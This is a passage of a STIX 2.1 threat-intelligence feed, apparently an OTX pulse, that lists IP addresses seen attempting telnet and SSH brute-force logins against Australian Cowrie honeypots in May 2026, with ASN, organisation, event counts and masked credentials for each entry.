      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--4f5fdbe5-5b0b-4177-b72a-a977dd2622fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.22.208.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--300b93e5-2f2b-4bbf-aac9-6ca21643c55f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.68.54.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 64134. Organisation(s): VISNETWORK SRL.",
      "id": "indicator--32d8571f-a8bb-4858-bfc7-238e814cba92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.158.80.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--df2d8e69-784f-444c-86ba-7fda9fd91992",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.15.255.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3ed08db9-7404-4d0e-a375-e119159182b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4bc1b8f5-b298-4f34-8b08-1b055ae2f208",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T16:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t. Passwords observed (masked): z*******6.",
      "id": "indicator--3fd8015e-eb0a-49e9-b76e-23dc347b7a2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T16:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.78.175.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:15:23.000Z",
      "valid_until": "2026-06-06T16:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--c52dbf03-cd79-487c-8a5a-a1f650541076",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.219.146.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4ab1949b-b338-4c39-b33a-ecd22036c464",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.180.46.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--036a6344-eba4-49d9-a38e-f1b7f9d97cd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.36.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264439. Organisation(s): OuriNet TELECOM.",
      "id": "indicator--0399b25d-21da-4516-a1b1-5945d827fb43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.221.236.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--168cfa56-66a8-47df-bb2f-6da2c14e80c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.58.34.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 215284. Organisation(s): Nest LLC.",
      "id": "indicator--d323f5e8-a57a-4ee6-ba82-96955e959720",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.40.34.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3308ce26-ce6c-4d80-a253-5a75261bdda7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--25cb529a-9ea2-4e12-8f4c-7d7c196c3cd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.86.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--1f382bc3-fd71-490b-82a4-60bbaf483697",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.189.214.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271899. Organisation(s): GIGAPOP, C.A..",
      "id": "indicator--67372f9c-e7ec-4e76-92a2-d43edfa9eacf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.7.2.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--a7b046bf-6cbd-40eb-a2ba-275251cc28fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.236.108.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 205547. Organisation(s): Flexnet LLC.",
      "id": "indicator--1716ff50-3a08-4100-8d13-bd14bb74a25a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.32.174.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--588e6aab-6aa2-46c5-9ada-5b1009d076e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--3a73b28d-1e0e-4b12-8e93-95ce39469de0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '67.188.2.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 43060. Organisation(s): IPLUS LLC.",
      "id": "indicator--d2eedea0-5698-4bdd-be45-16f68d7bc7d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.158.62.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:15:10.000Z",
      "valid_until": "2026-06-06T17:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 328847. Organisation(s): KoTDA. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): 1******W, 1******x, 3***********4, 3**********4, @****5.",
      "id": "indicator--ee17dcdd-f4aa-493e-9a90-73a365bea396",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.210.148.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 64124. Organisation(s): EDGEUNO S.A.S.",
      "id": "indicator--e7e42ca5-05e4-4562-a0cb-529e0b1a143e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.222.225.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A.",
      "id": "indicator--d33a2c25-b221-4df3-8b23-0538cc36c334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.95.224.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--c6393c87-ebf7-4c6f-8816-01d689212d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.127.108.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c4a1998a-c763-4996-80b0-31f5aac1ad6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 8814. Organisation(s): Aztelekom LLC.",
      "id": "indicator--aebca577-e4d6-4141-a0b9-ab1d80997349",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.47.149.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--cc25deb4-d39b-4c0f-95a0-0277aae6f0ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--34e6b4fa-e110-4a81-ba9a-6c36a395bd42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.20.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 208951. Organisation(s): Itglobal.com Nl B.v..",
      "id": "indicator--9557d0af-8359-4f1d-93b1-1e87317d3935",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.14.50.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 267713. Organisation(s): JORGE MARIO, MENDOZA LUX PUNTO-NET.",
      "id": "indicator--04360454-4663-4a0c-8930-71ce5bd48e0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.164.148.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:15:10.000Z",
      "valid_until": "2026-06-06T18:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--97690a5d-ca7f-4bb4-9958-3366cc258327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.179.247.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b8b294d8-0547-41c7-8bc2-0b0648c11124",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.122.194.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
      "valid_until": "2026-06-06T19:15:08.000Z"
    },
    {
      "created": "2026-05-05T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, u***1, 3**********4, ***, f**2. Passwords observed (masked): 1******8, 1******A, 1******r, 1*******c, 1******t.",
      "id": "indicator--02acbc36-45a4-48ad-af82-fb5fd56c1d63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.232.13.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:15:11.000Z",
